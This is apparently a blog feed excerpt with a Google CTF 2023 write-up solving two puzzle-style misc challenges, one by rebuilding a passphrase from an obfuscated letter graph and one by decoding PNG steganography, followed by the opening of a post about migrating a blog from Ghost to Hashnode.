A friend handed me this map and told me tha...]]></description><link>https://thao.pw/google-ctf-2023-writeup</link><guid isPermaLink="true">https://thao.pw/google-ctf-2023-writeup</guid><category><![CDATA[Google]]></category><category><![CDATA[CTF]]></category><category><![CDATA[misc]]></category><category><![CDATA[General Programming]]></category><category><![CDATA[General Advice]]></category><dc:creator><![CDATA[T-Rekt]]></dc:creator><pubDate>Mon, 26 Jun 2023 08:59:25 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1687770993888/fd00268a-9a47-4a40-aa8a-dcef3703a871.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>This year's Google CTF, while traveling in Danang, I managed to solve 2 misc problems: <strong>npc</strong> and <strong>symatrix</strong>. Both seem like algorithm-flavored problems.</p>
</blockquote>
<p>Here are the writeups for them:</p>
<h1 id="heading-npc">npc</h1>
<h2 id="heading-problem-description">Problem description</h2>
<blockquote>
<p>A friend handed me this map and told me that it will lead me to the flag. It is confusing me and I don't know how to read it, can you help me out?</p>
<p><a target="_blank" href="https://storage.googleapis.com/gctf-2023-attachments-project/9a8f5d47fab0a460f9826c4f13aa1dff2809140e68325fb21edab674ee5ec2476b902d2797c41bd6d9311e3510c9366d739d9404e00aa9d4ffd6a0d88e5bf2ef.zip">Attachment</a></p>
</blockquote>
<h2 id="heading-analysis">Analysis</h2>
<p>We got the following 4 files after extracting the problem archive:</p>
<ul>
<li><p><code>encrypt.py</code>: Main code for encryption</p>
</li>
<li><p><code>secret.age</code>: Encrypted data</p>
</li>
<li><p><code>hint.dot</code>: Hints for finding the plaintext</p>
</li>
<li><p><code>USACONST.TXT</code>: Dictionary</p>
</li>
</ul>
<p>Skim through the flow of <code>encrypt.py</code>, I found the interesting parts that describe:</p>
<ul>
<li><p>Encryption mechanism: Using <code>pyrage.passphrase</code> :</p>
<pre><code class="lang-python">  <span class="hljs-keyword">from</span> pyrage <span class="hljs-keyword">import</span> passphrase

  <span class="hljs-keyword">with</span> open(filename, <span class="hljs-string">'wb'</span>) <span class="hljs-keyword">as</span> f:
      f.write(passphrase.encrypt(secret, password))
</code></pre>
</li>
<li><p>Wordlist generation: Unique normalized words from <code>USACONST.TXT</code></p>
<pre><code class="lang-python">  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_word_list</span>():</span>
    <span class="hljs-keyword">with</span> open(<span class="hljs-string">'USACONST.TXT'</span>, encoding=<span class="hljs-string">'ISO8859'</span>) <span class="hljs-keyword">as</span> f:
      text = f.read()
    <span class="hljs-keyword">return</span> list(set(re.sub(<span class="hljs-string">'[^a-z]'</span>, <span class="hljs-string">' '</span>, text.lower()).split()))
</code></pre>
</li>
<li><p>Password generation: Random words from word list:</p>
<pre><code class="lang-python">  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">generate_password</span>(<span class="hljs-params">num_words</span>):</span>
    word_list = get_word_list()
    <span class="hljs-keyword">return</span> <span class="hljs-string">''</span>.join(secrets.choice(word_list) <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(num_words))
</code></pre>
</li>
<li><p>Hint generation for <code>hint.dot</code> file:</p>
<pre><code class="lang-python">  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">generate_hint</span>(<span class="hljs-params">password</span>):</span>
    random = secrets.SystemRandom()
    id_gen = IdGen()
    graph = Graph([],[])

    <span class="hljs-comment"># Step 1: Append original graph edges</span>
    <span class="hljs-keyword">for</span> letter <span class="hljs-keyword">in</span> password:
      graph.nodes.append(Node(letter, id_gen.generate_id()))

    <span class="hljs-comment"># Edges that represent the relationship between 2 consecutive characters</span>
    <span class="hljs-keyword">for</span> a, b <span class="hljs-keyword">in</span> zip(graph.nodes, graph.nodes[<span class="hljs-number">1</span>:]):
      graph.edges.append(Edge(a, b))

    <span class="hljs-comment"># Step 2: Add random (and maybe non-existence) edges to confuse us</span>
    <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(int(len(password)**<span class="hljs-number">1.3</span>)):
      a, b = random.sample(graph.nodes, <span class="hljs-number">2</span>)
      graph.edges.append(Edge(a, b))

    <span class="hljs-comment"># Step 3: Shuffle the edges, nodes and connections to further confuse us</span>
    random.shuffle(graph.nodes)
    random.shuffle(graph.edges)
    <span class="hljs-keyword">for</span> edge <span class="hljs-keyword">in</span> graph.edges:
      <span class="hljs-keyword">if</span> random.random() % <span class="hljs-number">2</span>:
        edge.a, edge.b = edge.b, edge.a

    <span class="hljs-keyword">return</span> graph
</code></pre>
</li>
</ul>
<p>From the above information, I can already imagine the encryption and hint generation process:</p>
<ol>
<li><p>Generate word list</p>
</li>
<li><p>Generate a password by picking random words from the word list</p>
</li>
<li><p>Use the generated password to encrypt the flag and write to <code>secret.age</code></p>
</li>
<li><p>Generate the graph containing the hint from the password and write to <code>hint.dot</code> file</p>
</li>
</ol>
<p>So what is the problem that we need to solve given the following process?</p>
<p>To get the encryption password, we will need to solve process 4 and recover the password from the given obfuscated graph.</p>
<p>It's clear that if they didn't add the random and shuffling part of the code, then we would be dealing with the edges of a degenerated graph.</p>
<p>But after the obfuscation process, here is what we get from <code>hint.dot</code></p>
<pre><code class="lang-plaintext">graph {
    comment="Nodes"
    1051081353 [label=a];
    66849241 [label=a];
    53342583 [label=n];
    213493562 [label=d];
    4385267 [label=i];
    261138725 [label=o];
    51574206 [label=t];
    565468867 [label=e];
    647082638 [label=r];
    177014844 [label=d];
    894978618 [label=e];
    948544779 [label=n];
    572570465 [label=n];
    582531406 [label=r];
    264939475 [label=a];
    415170621 [label=s];
    532012257 [label=t];
    151901859 [label=v];
    346347468 [label=g];
    148496047 [label=g];
    125615053 [label=s];
    723039811 [label=e];
    962878065 [label=i];
    112993293 [label=w];
    748275487 [label=n];
    120330115 [label=s];
    76544105 [label=c];
    186790608 [label=h];

    comment="Edges"
    53342583 -- 565468867;
    582531406 -- 76544105;
    125615053 -- 120330115;
    264939475 -- 572570465;
    53342583 -- 565468867;
    532012257 -- 264939475;
    346347468 -- 532012257;
    125615053 -- 582531406;
    177014844 -- 120330115;
    264939475 -- 962878065;
    comment="&lt;lots more edges&gt;"
}
</code></pre>
<p>You can paste the graph data into graphviz, but the result doesn't look fine:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687763529206/a1885477-f721-4f92-8023-7b97313c645a.png" alt class="image--center mx-auto" /></p>
<p>A thing to note is that if a character appears multiple times in the password, they are treated as different nodes. This will help us to build the password from the graph easier because we will not be confused by unnecessary edges.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687763186168/9cf34d4a-49ee-44ac-b66a-ec71c64ad2fe.png" alt class="image--center mx-auto" /></p>
<p>For example, a graph that represents the word "abac" using the method above will be like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687763360035/33fc958d-f23e-4d3c-a74a-915d8639518c.png" alt class="image--center mx-auto" /></p>
<p>If they don't treat the characters as unique nodes, it will create unnecessary loops like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687763362446/5f31b108-1227-4579-85dc-cc271f85cf16.png" alt class="image--center mx-auto" /></p>
<p>Also because we treated the characters as unique nodes, we knew that the password has <strong>28 characters.</strong></p>
<p>Following the flow of <code>generate_hint</code> function above, if your password is "googlectf", the graph definition would look like this (this is just a demonstration, realistically in the code, the label ids will be randomized so there is no straight way to recover the password):</p>
<pre><code class="lang-plaintext">graph {
    comment="Vertices"
    1 [label=g];
    2 [label=o];
    3 [label=o];
    4 [label=g];
    5 [label=l];
    6 [label=e];
    7 [label=c];
    8 [label=t];
    9 [label=f];

    comment="Edges"
    1 -- 2
    2 -- 3
    3 -- 4
    4 -- 5
    5 -- 6
    6 -- 7
    7 -- 8
    8 -- 9
}
</code></pre>
<p>Which visualized to the following:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687763930538/b9acad63-9283-4c43-85cf-e031e4c72ec1.png" alt class="image--center mx-auto" /></p>
<p>But after the obfuscation process, it would look kind of this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687763948459/b3cdfbb1-eb6e-4cb4-b45d-1a6c608847fc.png" alt class="image--center mx-auto" /></p>
<p>And hence after the process, we will lose every of these informations:</p>
<ul>
<li><p>The starting node</p>
</li>
<li><p>The ordering of nodes (if 2 nodes are connected then which comes first?)</p>
</li>
<li><p>Which are the real edges?</p>
</li>
</ul>
<p>And the clues that are left:</p>
<ul>
<li><p>This graph contains the connections of all the consecutive characters of the password</p>
</li>
<li><p>The password has 28 characters</p>
</li>
<li><p>The password must contain words from the word list</p>
</li>
</ul>
<h2 id="heading-and-so-the-journey-begins">And so, the journey begins</h2>
<h3 id="heading-the-starting-node">The starting node</h3>
<p>I simply try each of the 28 nodes as the starting node</p>
<h3 id="heading-the-ordering-of-nodes">The ordering of nodes</h3>
<p>One thing we know is that the text representation of the correct node ordering must exist inside the word list.</p>
<p>Hence we can traverse the graph from the chosen starting node, try each of the ordering possible and check if it matches the word list.</p>
<p>There might be multiple ordering that matches the conditions, so we need to store all of them in an array and then check to see which one correctly decrypt the flag.</p>
<h3 id="heading-which-are-the-real-edges">Which are the real edges?</h3>
<p>Same to the problem of node ordering, the real edges' text representation must exist inside the word list.</p>
<p>Hence we can filter this while checking the ordering.</p>
<p>We also need to filter fake edges that appear in the word list.</p>
<h3 id="heading-minor-word-splitting-problem">Minor word-splitting problem</h3>
<p>Since words in the word list were joined without space to form the password, we also need to deal with the problem that one password candidate can be generated from different combinations of words inside the word list.</p>
<p>For example "forever" can be combined from "for" + "ever" or "forever" itself. This case is trivial, but another case that can cause a problem is "generous". It cannot be combined if we choose "gene" + something, but can be combined using the word "generous" itself.</p>
<p>To solve this word-matching problem, I chose the Trie data structure. It provides the ability to conveniently check whether a word exists inside the dictionary. For this particular problem, I optimized it a bit to check where can we jump from the current node of Trie instead of having to repeatedly check the whole word again and again.</p>
<p>Here is my Trie code, generated by ChatGPT</p>
<pre><code class="lang-python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">TrieNode</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self</span>):</span>
        self.children = {}
        self.is_end_of_word = <span class="hljs-literal">False</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Trie</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self</span>):</span>
        self.root = TrieNode()

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">insert</span>(<span class="hljs-params">self, word</span>):</span>
        current = self.root
        <span class="hljs-keyword">for</span> char <span class="hljs-keyword">in</span> word:
            <span class="hljs-keyword">if</span> char <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> current.children:
                current.children[char] = TrieNode()
            current = current.children[char]
        current.is_end_of_word = <span class="hljs-literal">True</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">has_next_node</span>(<span class="hljs-params">self, current_node, char</span>):</span>
        <span class="hljs-keyword">return</span> current_node.children[char] <span class="hljs-keyword">if</span> char <span class="hljs-keyword">in</span> current_node.children <span class="hljs-keyword">else</span> <span class="hljs-literal">False</span>
</code></pre>
<h2 id="heading-lets-implement">Let's implement</h2>
<p>After getting every puzzle piece in hand, I built my <code>tryToSolve</code> function which is simply a backtracking function to try each possible ordering of nodes and picking out the candidates:</p>
<pre><code class="lang-python">marked = {}

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">tryToSolve</span>(<span class="hljs-params">u, trieNode = trie.root, len = <span class="hljs-number">28</span></span>):</span>
    nodeid, char = nodes[u]
    nextNode = trie.has_next_node(trieNode, char)

    res = []

    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> nextNode:
        <span class="hljs-keyword">if</span> trieNode.is_end_of_word:
            <span class="hljs-keyword">return</span> tryToSolve(u, trie.root, len)
        <span class="hljs-keyword">return</span> []

    len -= <span class="hljs-number">1</span>

    marked[nodeid] = <span class="hljs-literal">True</span>

    <span class="hljs-comment"># print(u, char)</span>

    <span class="hljs-keyword">if</span> len == <span class="hljs-number">0</span>:
        <span class="hljs-keyword">return</span> [char]

    <span class="hljs-keyword">for</span> v <span class="hljs-keyword">in</span> adj[nodeid]:
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> v <span class="hljs-keyword">in</span> marked:
            possiblities = tryToSolve(v, nextNode, len)
            <span class="hljs-keyword">for</span> possibility <span class="hljs-keyword">in</span> possiblities:
                res.append(char + possibility)

    <span class="hljs-keyword">del</span> marked[nodeid]

    <span class="hljs-keyword">return</span> res
</code></pre>
<p>And of course, I ran the function with each node as the starting one, as described earlier:</p>
<pre><code class="lang-python"><span class="hljs-keyword">for</span> startingNode <span class="hljs-keyword">in</span> nodes.values():
    marked = {}
    <span class="hljs-keyword">for</span> word <span class="hljs-keyword">in</span> tryToSolve(startingNode[<span class="hljs-number">0</span>], trie.root, <span class="hljs-number">28</span>):
        print(word)
</code></pre>
<p>After execution, I got 6 possible candidates:</p>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~/Desktop/npc]
└─$ python3 solve.py                                                                                              130 ⨯
dwatersigngivenchosenstandar
givenstandardsignwaterchosen
signgivenstandardwaterchosen
waterchosenstandardsigngiven
standardwatersigngivenchosen
chosenstandardwatersigngiven
</code></pre>
<p>And the rest is easy. I just need to try each one for decryption.</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> pyrage <span class="hljs-keyword">import</span> passphrase

encrypted = open(<span class="hljs-string">'secret.age'</span>, <span class="hljs-string">'rb'</span>).read()

candidates = open(<span class="hljs-string">'candidates.txt'</span>).readlines()
<span class="hljs-keyword">for</span> pw <span class="hljs-keyword">in</span> candidates:
    <span class="hljs-keyword">try</span>:
        pw = pw.strip()
        print(passphrase.decrypt(encrypted, pw))
    <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
        print(e)
</code></pre>
<pre><code class="lang-python">┌──(kali㉿kali)-[~/Desktop/npc]
└─$ python3 solve1.py
Decryption failed
Decryption failed
Decryption failed
Decryption failed
<span class="hljs-string">b'CTF{S3vEn_bR1dg35_0f_K0eN1g5BeRg}'</span>
Decryption failed
</code></pre>
<h2 id="heading-flag">Flag</h2>
<blockquote>
<p>CTF{S3vEn_bR1dg35_0f_K0eN1g5BeRg}</p>
</blockquote>
<p>Darn it, we were still the second team to solve it :(</p>
<p><img src="https://scontent.fhan14-3.fna.fbcdn.net/v/t39.30808-6/355496777_3381527662175995_8663953152696437135_n.jpg?_nc_cat=103&amp;cb=99be929b-3346023f&amp;ccb=1-7&amp;_nc_sid=730e14&amp;_nc_ohc=6dFC1UNatNIAX9a1SYT&amp;_nc_ht=scontent.fhan14-3.fna&amp;oh=00_AfCBsPSEhHJhyihp3IV5EO4rAYtCX1XaLfHysP3N9ffCpw&amp;oe=649D5F7B" alt="May be an image of text that says 'vh++ Logout Team ANNOUNCEMENTS 664.83 T-34h 24/06/ 2023 MINE THE GAP NPC 474pt Opportunities at G oogle misc @otona crypto pwn 米 reversing web sandbox TOTALLY NOT 474pt handed this map lag lead confusir told me hat don will out? know now to ead it, Attachment NPC Solved WreckZeroBytes vh++ ANNOUNCEMENTS Submit task feedback challenges!! 13:00 released more challenges! Enjoy! Biohazard added missing file 07:10 Jun 24 2023 FLAG CAPTURED'" /></p>
<h1 id="heading-symatrix">symatrix</h1>
<h2 id="heading-problem-description-1">Problem description:</h2>
<blockquote>
<p>The CIA has been tracking a group of hackers who communicate using PNG files embedded with a custom steganography algorithm. An insider spy was able to obtain the encoder, but it is not the original code. You have been tasked with reversing the encoder file and creating a decoder as soon as possible in order to read the most recent PNG file they have sent.</p>
<p><a target="_blank" href="https://storage.googleapis.com/gctf-2023-attachments-project/aba60aa2e9c806187f88279742c2ced243dd73b142c5c5bac1327956975e4d3add04afad77cfd823dd4f00847f6334b294ab058308639f8cb52897e8f1be769e.zip">Attachment</a></p>
</blockquote>
<h2 id="heading-analysis-1">Analysis</h2>
<p>We got the following 4 files after extracting the problem archive:</p>
<ul>
<li><p><code>encoder.c</code>: Main code for encoding</p>
</li>
<li><p><code>symatrix.png</code>: Encoded data</p>
</li>
</ul>
<p>Upon inspection of <code>encoder.c</code>, I realized that it's a C file compiled from Python code:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687767149680/390e18c4-f750-427b-acdf-33d24c439e7d.png" alt class="image--center mx-auto" /></p>
<p>I tried to compile it using gcc but it threw lots of errors:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687767243597/48e18883-0eac-40a7-8afd-f4c49288a0c4.png" alt class="image--center mx-auto" /></p>
<p>When inspecting further, I found out that there are blocks of original python code left in the compiled source. By further searching, I found 70 of those blocks.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687767333269/838cce53-3c75-4a94-b242-8a1e27bfdf12.png" alt class="image--center mx-auto" /></p>
<p>I managed to extract those Python code blocks, but they still look like about 500 lines of a mess:</p>
<pre><code class="lang-python">/* <span class="hljs-string">"encoder.py"</span>:<span class="hljs-number">5</span>
 * <span class="hljs-keyword">import</span> binascii
 * 
 * <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">hexstr_to_binstr</span>(<span class="hljs-params">hexstr</span>):</span>             <span class="hljs-comment"># &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;</span>
 *     n = int(hexstr, <span class="hljs-number">16</span>)
 *     bstr = <span class="hljs-string">''</span>
 */
/* <span class="hljs-string">"encoder.py"</span>:<span class="hljs-number">6</span>
 * 
 * <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">hexstr_to_binstr</span>(<span class="hljs-params">hexstr</span>):</span>
 *     n = int(hexstr, <span class="hljs-number">16</span>)             <span class="hljs-comment"># &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;</span>
 *     bstr = <span class="hljs-string">''</span>
 *     <span class="hljs-keyword">while</span> n &gt; <span class="hljs-number">0</span>:
 */
/* <span class="hljs-string">"encoder.py"</span>:<span class="hljs-number">7</span>
 * <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">hexstr_to_binstr</span>(<span class="hljs-params">hexstr</span>):</span>
 *     n = int(hexstr, <span class="hljs-number">16</span>)
 *     bstr = <span class="hljs-string">''</span>             <span class="hljs-comment"># &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;</span>
 *     <span class="hljs-keyword">while</span> n &gt; <span class="hljs-number">0</span>:
 *         bstr = str(n % <span class="hljs-number">2</span>) + bstr
 */
...
</code></pre>
<p>And so I threw them into ChatGPT to see what it can do:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687768002125/5c26a710-9041-46de-84bb-60719cc0ce83.png" alt class="image--center mx-auto" /></p>
<p>And out of my astonishment, I received the beautifully formatted,</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687768031110/a81116ad-f5f2-48a6-9ce7-7e7ee739455d.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-so-what-do-we-need-to-see">So, what do we need to see?</h2>
<h2 id="heading-the-encoders-source-code">The encoder's source code</h2>
<p>Now we got the encoder source code:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> PIL <span class="hljs-keyword">import</span> Image
<span class="hljs-keyword">from</span> random <span class="hljs-keyword">import</span> randint
<span class="hljs-keyword">import</span> binascii

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">hexstr_to_binstr</span>(<span class="hljs-params">hexstr</span>):</span>
    n = int(hexstr, <span class="hljs-number">16</span>)
    bstr = <span class="hljs-string">''</span>
    <span class="hljs-keyword">while</span> n &gt; <span class="hljs-number">0</span>:
        bstr = str(n % <span class="hljs-number">2</span>) + bstr
        n = n &gt;&gt; <span class="hljs-number">1</span>
    <span class="hljs-keyword">if</span> len(bstr) % <span class="hljs-number">8</span> != <span class="hljs-number">0</span>:
        bstr = <span class="hljs-string">'0'</span> + bstr
    <span class="hljs-keyword">return</span> bstr

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">pixel_bit</span>(<span class="hljs-params">b</span>):</span>
    <span class="hljs-keyword">return</span> tuple((<span class="hljs-number">0</span>, <span class="hljs-number">1</span>, b))

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">embed</span>(<span class="hljs-params">t1, t2</span>):</span>
    <span class="hljs-keyword">return</span> tuple((t1[<span class="hljs-number">0</span>] + t2[<span class="hljs-number">0</span>], t1[<span class="hljs-number">1</span>] + t2[<span class="hljs-number">1</span>], t1[<span class="hljs-number">2</span>] + t2[<span class="hljs-number">2</span>]))

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">full_pixel</span>(<span class="hljs-params">pixel</span>):</span>
    <span class="hljs-keyword">return</span> pixel[<span class="hljs-number">1</span>] == <span class="hljs-number">255</span> <span class="hljs-keyword">or</span> pixel[<span class="hljs-number">2</span>] == <span class="hljs-number">255</span>

print(<span class="hljs-string">"Embedding file..."</span>)

bin_data = open(<span class="hljs-string">"./flag.txt"</span>, <span class="hljs-string">'rb'</span>).read()
data_to_hide = binascii.hexlify(bin_data).decode(<span class="hljs-string">'utf-8'</span>)

base_image = Image.open(<span class="hljs-string">"./original.png"</span>)
x_len, y_len = base_image.size

nx_len = x_len * <span class="hljs-number">2</span>

new_image = Image.new(<span class="hljs-string">"RGB"</span>, (nx_len, y_len))
base_matrix = base_image.load()
new_matrix = new_image.load()

binary_string = hexstr_to_binstr(data_to_hide)
remaining_bits = len(binary_string)

nx_len = nx_len - <span class="hljs-number">1</span>
next_position = <span class="hljs-number">0</span>

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, y_len):
    <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, x_len):
        pixel = new_matrix[j, i] = base_matrix[j, i]
        <span class="hljs-keyword">if</span> remaining_bits &gt; <span class="hljs-number">0</span> <span class="hljs-keyword">and</span> next_position &lt;= <span class="hljs-number">0</span> <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> full_pixel(pixel):
            new_matrix[nx_len - j, i] = embed(pixel_bit(int(binary_string[<span class="hljs-number">0</span>])), pixel)
            next_position = randint(<span class="hljs-number">1</span>, <span class="hljs-number">17</span>)
            binary_string = binary_string[<span class="hljs-number">1</span>:]
            remaining_bits -= <span class="hljs-number">1</span>
        <span class="hljs-keyword">else</span>:
            next_position -= <span class="hljs-number">1</span>

new_image.save(<span class="hljs-string">"./symatrix.png"</span>)
new_image.close()
base_image.close()

print(<span class="hljs-string">"Work done!"</span>)
exit(<span class="hljs-number">1</span>)
</code></pre>
<h3 id="heading-the-encoding-process">The encoding process</h3>
<ol>
<li><p>The encoder doubled the image width:</p>
<pre><code class="lang-python"> nx_len = x_len * <span class="hljs-number">2</span>
 new_image = Image.new(<span class="hljs-string">"RGB"</span>, (nx_len, y_len))
</code></pre>
</li>
<li><p>It hides one bit of data. The original <code>(r, g, b)</code> code turned into <code>(r, g + 1, b + encrypted_bit)</code>. The encrypted pixel lies in the doubled half of the image (<code>[j, i]</code> -&gt; <code>[nx_len - j, i]</code>)</p>
<pre><code class="lang-python"> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">pixel_bit</span>(<span class="hljs-params">b</span>):</span>
     <span class="hljs-comment"># Encoding formla</span>
     <span class="hljs-keyword">return</span> tuple((<span class="hljs-number">0</span>, <span class="hljs-number">1</span>, b))

 <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">embed</span>(<span class="hljs-params">t1, t2</span>):</span>
     <span class="hljs-keyword">return</span> tuple((t1[<span class="hljs-number">0</span>] + t2[<span class="hljs-number">0</span>], t1[<span class="hljs-number">1</span>] + t2[<span class="hljs-number">1</span>], t1[<span class="hljs-number">2</span>] + t2[<span class="hljs-number">2</span>]))

 <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">full_pixel</span>(<span class="hljs-params">pixel</span>):</span>
     <span class="hljs-keyword">return</span> pixel[<span class="hljs-number">1</span>] == <span class="hljs-number">255</span> <span class="hljs-keyword">or</span> pixel[<span class="hljs-number">2</span>] == <span class="hljs-number">255</span>

 <span class="hljs-keyword">if</span> remaining_bits &gt; <span class="hljs-number">0</span> <span class="hljs-keyword">and</span> next_position &lt;= <span class="hljs-number">0</span> <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> full_pixel(pixel):
     new_matrix[nx_len - j, i] = embed(pixel_bit(int(binary_string[<span class="hljs-number">0</span>])), pixel)
</code></pre>
</li>
<li><p>It chooses another random position for hiding the next bit:</p>
<pre><code class="lang-python"> next_position = randint(<span class="hljs-number">1</span>, <span class="hljs-number">17</span>)
</code></pre>
</li>
</ol>
<h2 id="heading-solution">Solution</h2>
<p>So now we just need to write a simple script to find the encoded bits and get the flag</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> PIL <span class="hljs-keyword">import</span> Image

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decode_image</span>(<span class="hljs-params">encoded_image_path</span>):</span>
    encoded_image = Image.open(encoded_image_path)
    encoded_matrix = encoded_image.load()

    decoded_data = <span class="hljs-string">""</span>

    x_len, y_len = encoded_image.size
    nx_len = x_len // <span class="hljs-number">2</span>

    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(y_len):
        <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> range(nx_len):
            [r1, g1, b1] = encoded_matrix[j, i]
            [r2, g2, b2] = encoded_matrix[x_len - j - <span class="hljs-number">1</span>, i]

            <span class="hljs-keyword">if</span> r1 == r2 <span class="hljs-keyword">and</span> g1 + <span class="hljs-number">1</span> == g2 <span class="hljs-keyword">and</span> b2 - b1 &lt;= <span class="hljs-number">1</span>:
                <span class="hljs-comment"># print((r1, g1, b1))</span>
                <span class="hljs-comment"># print((r2, g2, b2))</span>
                decoded_data += str(b2 - b1)

    decoded_bytes = bytearray()

    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, len(decoded_data), <span class="hljs-number">8</span>):
        byte_str = decoded_data[i:i+<span class="hljs-number">8</span>]
        decoded_bytes.append(int(byte_str, <span class="hljs-number">2</span>))

    <span class="hljs-keyword">return</span> decoded_bytes

print(decode_image(<span class="hljs-string">'./symatrix.png'</span>))
</code></pre>
<h2 id="heading-flag-1">Flag</h2>
<blockquote>
<p>CTF{W4ke_Up_Ne0+Th1s_I5_Th3_Fl4g!}</p>
</blockquote>
<h1 id="heading-glhf">GLHF!</h1>
<p>Thank you <code>vh++</code> for hosting a team for Vietnamese</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687769093469/34b9595a-e7be-4456-9ad0-bbc192b9859a.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[Simplifying Blog migration with Automation: Ghost to Hashnode]]></title><description><![CDATA[Motivation
Recently I've been upset about hosted Ghost blogging platform for the following reasons:

It was too expensive. Last year, I paid $300 for Ghost "Creator" plan just to be able to change the theme of my blog.



It has no downgrade option. ...]]></description><link>https://thao.pw/simplifying-blog-migration-with-automation-ghost-to-hashnode</link><guid isPermaLink="true">https://thao.pw/simplifying-blog-migration-with-automation-ghost-to-hashnode</guid><category><![CDATA[automation]]></category><category><![CDATA[migration]]></category><category><![CDATA[ghost platform]]></category><category><![CDATA[ghost]]></category><category><![CDATA[Hashnode]]></category><dc:creator><![CDATA[T-Rekt]]></dc:creator><pubDate>Wed, 25 Jan 2023 19:39:01 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1674675442895/f8275d54-263f-4f93-af4e-7380e89fba2d.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-motivation">Motivation</h2>
<p>Recently I've been upset about hosted Ghost blogging platform for the following reasons:</p>
<ul>
<li>It was too expensive. Last year, I paid $300 for Ghost "Creator" plan just to be able to change the theme of my blog.</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674650386870/084521e6-fa87-44d9-adfc-c8ff0463b9cd.png" alt class="image--center mx-auto" /></p>
<ul>
<li>It has no downgrade option. Once I upgraded to the Creator plan I had no option to downgrade to a lower plan. Only upgrade.</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674650475834/f679f303-292d-497a-9ade-1c33972f5873.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>Ghost's font is not compatible with the Vietnamese language. Although I have been able to find a theme that displays fine, the editor's font still sucks. And it seems like I have no way to change it.</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674650819738/d4d48f53-fb2a-469d-b16b-3912b2a4d720.png" alt="The words with Vietnamese punctuations are broken" class="image--center mx-auto" /></p>
</li>
<li><p>But the most important reason that kept me from blogging last year is that somehow Ghost is displaying WRONG images on my post. Here is the comparison of an image in the editor, and the same image in preview mode.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674651019821/0665753b-67bf-4016-9993-c2b8f3ed7be8.png" alt class="image--center mx-auto" /></p>
<p>I even tried to publish the post to see if it was just a preview problem, but nope. Here is the image on the published post:</p>
